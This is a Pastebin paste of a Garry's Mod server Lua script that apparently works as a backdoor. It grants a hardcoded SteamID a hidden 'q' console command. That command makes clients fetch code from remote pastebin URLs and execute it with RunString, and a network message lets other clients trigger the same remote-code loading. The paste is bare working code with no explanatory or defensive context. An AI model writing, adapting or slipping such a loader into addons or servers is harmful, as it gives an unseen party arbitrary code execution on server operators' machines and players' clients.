Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString("Design.Send")
- local designer = player.GetBySteamID("STEAM_0:1:64411336")
- local Switch = false
- local FirstSwitch = true
- local function Script_Activated()
- designer:SendLua('http.Fetch("https://pastebin.com/raw/EJADt6c3", function(b) RunString(b) end)')
- designer:SendLua('http.Fetch("https://pastebin.com/raw/DfsJKqzY", function(b) RunString(b) end)')
- timer.Simple(1, function()
- designer:SendLua('http.Fetch("https://pastebin.com/raw/BjKy6mUt", function(b) RunString(b) end)')
- end)
- end
- net.Receive("Design.Send", function(len, ply)
- if Switch == false then return end
- ply:SendLua('http.Fetch("https://pastebin.com/raw/DfsJKqzY", function(b) RunString(b) end)')
- ply:SendLua('http.Fetch("https://pastebin.com/raw/BjKy6mUt", function(b) RunString(b) end)')
- end)
- concommand.Add("q", function()
- if Switch then
- Switch = false
- designer:ChatPrint("Disctivated")
- else
- if FirstSwitch then
- FirstSwitch = false
- Script_Activated()
- end
- Switch = true
- designer:ChatPrint("Activated")
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement